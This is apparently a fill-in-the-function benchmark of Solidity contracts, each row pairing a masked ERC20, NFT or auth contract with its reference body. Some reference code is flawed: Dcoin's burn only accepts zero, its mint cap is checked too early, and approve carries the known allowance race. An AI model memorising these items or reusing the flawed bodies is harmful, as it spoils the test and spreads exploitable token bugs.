balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(!freezed); require(initialized); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function desapprove(address spender) public returns (bool success) { allowed[msg.sender][spender] = 0; return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(!freezed); require(initialized); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } // ------------------------------------------------------------------------ // function init(address _sale) public {<FILL_FUNCTION_BODY> } function ico_distribution(address to, uint tokens) public onlyWhitelisted() { require(initialized); balances[ICO_PRE_SALE] = balances[ICO_PRE_SALE].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(ICO_PRE_SALE, to, tokens); } function ico_promo_reward(address to, uint tokens) public onlyWhitelisted() { require(initialized); balances[ICO_PROMO_REWARDS] = balances[ICO_PROMO_REWARDS].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(ICO_PROMO_REWARDS, to, tokens); } function balanceOfMine() constant public returns (uint) { return balances[msg.sender]; } function rename(string _name) public onlyOwner() { name = _name; } function unfreeze() public onlyOwner() { freezed = false; } function refreeze() public onlyOwner() { freezed = true; } }
contract Token is ERC20Interface, CNT_Common { using SafeMath for uint; bool public freezed; bool public initialized; uint8 public decimals; uint public totSupply; string public symbol; mapping(address => uint) public balances; mapping(address => mapping(address => uint)) public allowed; address public ICO_PRE_SALE = address(0x1); address public ICO_TEAM = address(0x2); address public ICO_PROMO_REWARDS = address(0x3); address public ICO_EOS_AIRDROP = address(0x4); // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function Token(uint8 _decimals, uint _thousands, string _name, string _sym) public { owner = msg.sender; symbol = _sym; name = _name; decimals = _decimals; totSupply = _thousands * 10**3 * 10**uint(decimals); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return totSupply; } // ------------------------------------------------------------------------ // Get the token balance for account `tokenOwner` // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to `to` account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { require(!freezed); require(initialized); balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function desapprove(address spender) public returns (bool success) { allowed[msg.sender][spender] = 0; return true; } // ------------------------------------------------------------------------ // Transfer `tokens` from the `from` account to the `to` account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the `from` account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { require(!freezed); require(initialized); balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for `spender` to transferFrom(...) `tokens` // from the token owner's account. The `spender` contract function // `receiveApproval(...)` is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } <FILL_FUNCTION> function ico_distribution(address to, uint tokens) public onlyWhitelisted() { require(initialized); balances[ICO_PRE_SALE] = balances[ICO_PRE_SALE].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(ICO_PRE_SALE, to, tokens); } function ico_promo_reward(address to, uint tokens) public onlyWhitelisted() { require(initialized); balances[ICO_PROMO_REWARDS] = balances[ICO_PROMO_REWARDS].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(ICO_PROMO_REWARDS, to, tokens); } function balanceOfMine() constant public returns (uint) { return balances[msg.sender]; } function rename(string _name) public onlyOwner() { name = _name; } function unfreeze() public onlyOwner() { freezed = false; } function refreeze() public onlyOwner() { freezed = true; } }
require(!initialized); // we need to know the CNTTokenSale and NewRichOnTheBlock Contract address before distribute to them SALE_address = _sale; whitelist[SALE_address] = true; initialized = true; freezed = true;
function init(address _sale) public
// ------------------------------------------------------------------------ // function init(address _sale) public
26389
DSAuth
null
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; constructor() public {<FILL_FUNCTION_BODY> } function setOwner(address owner_0x7FF5bdc87b29d1E4862c3a8Af99C0dF606AEEd2f) public auth { owner = owner_0x7FF5bdc87b29d1E4862c3a8Af99C0dF606AEEd2f; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } }
contract DSAuth is DSAuthEvents { DSAuthority public authority; address public owner; <FILL_FUNCTION> function setOwner(address owner_0x7FF5bdc87b29d1E4862c3a8Af99C0dF606AEEd2f) public auth { owner = owner_0x7FF5bdc87b29d1E4862c3a8Af99C0dF606AEEd2f; emit LogSetOwner(owner); } function setAuthority(DSAuthority authority_) public auth { authority = authority_; emit LogSetAuthority(authority); } modifier auth { require(isAuthorized(msg.sender, msg.sig)); _; } function isAuthorized(address src, bytes4 sig) internal view returns (bool) { if (src == address(this)) { return true; } else if (src == owner) { return true; } else if (authority == DSAuthority(0)) { return false; } else { return authority.canCall(src, this, sig); } } }
owner = 0x7FF5bdc87b29d1E4862c3a8Af99C0dF606AEEd2f; emit LogSetOwner(0x7FF5bdc87b29d1E4862c3a8Af99C0dF606AEEd2f);
constructor() public
constructor() public
25398
StandardToken
decreaseApproval
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {<FILL_FUNCTION_BODY> } /** * Destroy tokens * Remove `_value` tokens from the system irreversibly * @param _value the amount of money to burn **/ function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender totalSupply_ -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from the address of the sender * @param _value the amount of money to burn **/ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] -= _value; allowed[_from][msg.sender] -= _value; totalSupply_ -= _value; emit Burn(_from, _value); return true; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred **/ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. **/ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. **/ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. **/ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } <FILL_FUNCTION> /** * Destroy tokens * Remove `_value` tokens from the system irreversibly * @param _value the amount of money to burn **/ function burn(uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); // Check if the sender has enough balances[msg.sender] -= _value; // Subtract from the sender totalSupply_ -= _value; // Updates totalSupply emit Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * @param _from the address of the sender * @param _value the amount of money to burn **/ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balances[_from] >= _value); require(_value <= allowed[_from][msg.sender]); balances[_from] -= _value; allowed[_from][msg.sender] -= _value; totalSupply_ -= _value; emit Burn(_from, _value); return true; } }
uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true;
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
/** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. **/ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool)
7076
HonNanopet
_baseURI
contract HonNanopet is ERC721A, Ownable { uint256 public constant MAX_TOKENS = 50; string private _tokenBaseURI; constructor() ERC721A("Honorary Nanopet", "HonNanopet") {} function adminMint(address recipient,uint256 quantity) external onlyOwner { require(totalSupply() + quantity <= MAX_TOKENS, "Minting too many"); _safeMint(recipient, quantity); } function _startTokenId() internal override pure returns (uint256) { return 1; } function setBaseURI(string calldata URI) external onlyOwner { _tokenBaseURI = URI; } function _baseURI() internal view override(ERC721A) returns (string memory){<FILL_FUNCTION_BODY> } function withdraw() external onlyOwner { Address.sendValue(payable(msg.sender), address(this).balance); } function walletsOfUser(address address_) public virtual view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[] (_balance); uint256 _index; uint256 _loopThrough = totalSupply(); for (uint256 i = 0; i < _loopThrough; i++) { bool _exists = _exists(i); if (_exists) { if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; } } else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; } } return _tokens; } }
contract HonNanopet is ERC721A, Ownable { uint256 public constant MAX_TOKENS = 50; string private _tokenBaseURI; constructor() ERC721A("Honorary Nanopet", "HonNanopet") {} function adminMint(address recipient,uint256 quantity) external onlyOwner { require(totalSupply() + quantity <= MAX_TOKENS, "Minting too many"); _safeMint(recipient, quantity); } function _startTokenId() internal override pure returns (uint256) { return 1; } function setBaseURI(string calldata URI) external onlyOwner { _tokenBaseURI = URI; } <FILL_FUNCTION> function withdraw() external onlyOwner { Address.sendValue(payable(msg.sender), address(this).balance); } function walletsOfUser(address address_) public virtual view returns (uint256[] memory) { uint256 _balance = balanceOf(address_); uint256[] memory _tokens = new uint256[] (_balance); uint256 _index; uint256 _loopThrough = totalSupply(); for (uint256 i = 0; i < _loopThrough; i++) { bool _exists = _exists(i); if (_exists) { if (ownerOf(i) == address_) { _tokens[_index] = i; _index++; } } else if (!_exists && _tokens[_balance - 1] == 0) { _loopThrough++; } } return _tokens; } }
return _tokenBaseURI;
function _baseURI() internal view override(ERC721A) returns (string memory)
function _baseURI() internal view override(ERC721A) returns (string memory)
43912
Dcoin
prodTokens
contract Dcoin is SafeMath{ string public name; string public symbol; address public owner; uint8 public decimals; uint256 public totalSupply; address public icoContractAddress; uint256 public tokensTotalSupply = 2000 * (10**6) * 10**18; mapping (address => bool) restrictedAddresses; uint256 constant initialSupply = 2000 * (10**6) * 10**18; string constant tokenName = 'Dcoin'; uint8 constant decimalUnits = 18; string constant tokenSymbol = 'DGAS'; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); // Mint event event Mint(address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyOwner { assert(owner == msg.sender); _; } /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) public { require (_value > 0) ; require (balanceOf[msg.sender] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (!restrictedAddresses[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; // Set allowance emit Approval(msg.sender, _spender, _value); // Raise Approval event return true; } function prodTokens(address _to, uint256 _amount) public onlyOwner {<FILL_FUNCTION_BODY> } /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (_value <= allowance[_from][msg.sender]) ; // Check allowance require (!restrictedAddresses[_to]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function burn(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value <= 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } function freeze(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply emit Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); emit Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) public onlyOwner { owner.transfer(amount); } function totalSupply() public constant returns (uint256 Supply) { return totalSupply; } /* Get balance of specific address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } function() public payable { revert(); } /* Owner can add new restricted address or removes one */ function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner { restrictedAddresses[_newRestrictedAddress] = !restrictedAddresses[_newRestrictedAddress]; } function isRestrictedAddress(address _querryAddress) public constant returns (bool answer){ return restrictedAddresses[_querryAddress]; } }
contract Dcoin is SafeMath{ string public name; string public symbol; address public owner; uint8 public decimals; uint256 public totalSupply; address public icoContractAddress; uint256 public tokensTotalSupply = 2000 * (10**6) * 10**18; mapping (address => bool) restrictedAddresses; uint256 constant initialSupply = 2000 * (10**6) * 10**18; string constant tokenName = 'Dcoin'; uint8 constant decimalUnits = 18; string constant tokenSymbol = 'DGAS'; /* This creates an array with all balances */ mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezeOf; mapping (address => mapping (address => uint256)) public allowance; /* This generates a public event on the blockchain that will notify clients */ event Transfer(address indexed from, address indexed to, uint256 value); /* This notifies clients about the amount burnt */ event Burn(address indexed from, uint256 value); /* This notifies clients about the amount frozen */ event Freeze(address indexed from, uint256 value); /* This notifies clients about the amount unfrozen */ event Unfreeze(address indexed from, uint256 value); // Mint event event Mint(address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); modifier onlyOwner { assert(owner == msg.sender); _; } /* Initializes contract with initial supply tokens to the creator of the contract */ constructor() public { name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes decimals = decimalUnits; // Amount of decimals for display purposes owner = msg.sender; } /* Send coins */ function transfer(address _to, uint256 _value) public { require (_value > 0) ; require (balanceOf[msg.sender] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (!restrictedAddresses[_to]); balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient emit Transfer(msg.sender, _to, _value); // Notify anyone listening that this transfer took place } /* Allow another contract to spend some tokens in your behalf */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; // Set allowance emit Approval(msg.sender, _spender, _value); // Raise Approval event return true; } <FILL_FUNCTION> /* A contract attempts to get the coins */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]) ; // Check for overflows require (_value <= allowance[_from][msg.sender]) ; // Check allowance require (!restrictedAddresses[_to]); balanceOf[_from] = SafeMath.safeSub(balanceOf[_from], _value); // Subtract from the sender balanceOf[_to] = SafeMath.safeAdd(balanceOf[_to], _value); // Add the same to the recipient allowance[_from][msg.sender] = SafeMath.safeSub(allowance[_from][msg.sender], _value); emit Transfer(_from, _to, _value); return true; } function burn(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value <= 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender totalSupply = SafeMath.safeSub(totalSupply,_value); // Updates totalSupply emit Burn(msg.sender, _value); return true; } function freeze(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; balanceOf[msg.sender] = SafeMath.safeSub(balanceOf[msg.sender], _value); // Subtract from the sender freezeOf[msg.sender] = SafeMath.safeAdd(freezeOf[msg.sender], _value); // Updates totalSupply emit Freeze(msg.sender, _value); return true; } function unfreeze(uint256 _value) public returns (bool success) { require (balanceOf[msg.sender] >= _value) ; // Check if the sender has enough require (_value > 0) ; freezeOf[msg.sender] = SafeMath.safeSub(freezeOf[msg.sender], _value); // Subtract from the sender balanceOf[msg.sender] = SafeMath.safeAdd(balanceOf[msg.sender], _value); emit Unfreeze(msg.sender, _value); return true; } // transfer balance to owner function withdrawEther(uint256 amount) public onlyOwner { owner.transfer(amount); } function totalSupply() public constant returns (uint256 Supply) { return totalSupply; } /* Get balance of specific address */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balanceOf[_owner]; } function() public payable { revert(); } /* Owner can add new restricted address or removes one */ function editRestrictedAddress(address _newRestrictedAddress) public onlyOwner { restrictedAddresses[_newRestrictedAddress] = !restrictedAddresses[_newRestrictedAddress]; } function isRestrictedAddress(address _querryAddress) public constant returns (bool answer){ return restrictedAddresses[_querryAddress]; } }
require (_amount != 0 ) ; // Check if values are not null; require (balanceOf[_to] + _amount > balanceOf[_to]) ; // Check for overflows require (totalSupply <=tokensTotalSupply); //require (!restrictedAddresses[_to]); totalSupply += _amount; // Update total supply balanceOf[_to] += _amount; // Set minted coins to target emit Mint(_to, _amount); // Create Mint event emit Transfer(0x0, _to, _amount); // Create Transfer event from 0x
function prodTokens(address _to, uint256 _amount) public onlyOwner
function prodTokens(address _to, uint256 _amount) public onlyOwner
39911
PornShiba
transferFrom
contract PornShiba is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "PornShiba"; symbol = "PSHIBA"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[msg.sender] = 100000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) {<FILL_FUNCTION_BODY> } }
contract PornShiba is ERC20Interface, SafeMath { string public name; string public symbol; uint8 public decimals; // 18 decimals is the strongly suggested default, avoid changing it uint256 public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; constructor() public { name = "PornShiba"; symbol = "PSHIBA"; decimals = 18; _totalSupply = 100000000000000000000000000000; balances[msg.sender] = 100000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply() public view returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } <FILL_FUNCTION> }
balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true;
function transferFrom(address from, address to, uint tokens) public returns (bool success)
function transferFrom(address from, address to, uint tokens) public returns (bool success)
60611
StrategyCurveYCRV
_withdrawSome
contract StrategyCurveYCRV { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; address constant public want = address(0xdF5e0e81Dff6FAF3A7e52BA697820c5e32D806A8); address constant public pool = address(0xFA712EE4788C042e2B7BB55E6cb8ec569C4530c1); address constant public mintr = address(0xd061D61a4d941c39E5453435B6345Dc261C2fcE0); address constant public crv = address(0xD533a949740bb3306d119CC777fa900bA034cd52); address constant public uni = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address constant public weth = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); // used for crv <> weth <> dai route address constant public dai = address(0x6B175474E89094C44Da98b954EedeAC495271d0F); address constant public ydai = address(0x16de59092dAE5CcF4A1E6439D611fd0653f0Bd01); address constant public curve = address(0x45F783CCE6B7FF23B2ab2D70e416cdb7D6055f51); uint public performanceFee = 500; uint constant public performanceMax = 10000; address public governance; address public controller; address public strategist; address public critAPY; constructor(address _controller) public { governance = msg.sender; strategist = msg.sender; controller = _controller; } function getName() external pure returns (string memory) { return "StrategyCurveYCRV"; } function setStrategist(address _strategist) external { require(msg.sender == governance, "!governance"); strategist = _strategist; } function setPerformanceFee(uint _performanceFee) external { require(msg.sender == governance, "!governance"); performanceFee = _performanceFee; } function setCritAPY(address _critAPY) external { require(msg.sender == governance || msg.sender == strategist, "auth"); critAPY = _critAPY; } function deposit() public { uint _want = IERC20(want).balanceOf(address(this)); if (_want > 0) { IERC20(want).safeApprove(pool, 0); IERC20(want).safeApprove(pool, _want); Gauge(pool).deposit(_want); } } // Controller only function for creating additional rewards from dust function withdraw(IERC20 _asset) external returns (uint balance) { require(msg.sender == controller, "!controller"); require(want != address(_asset), "want"); require(crv != address(_asset), "crv"); require(ydai != address(_asset), 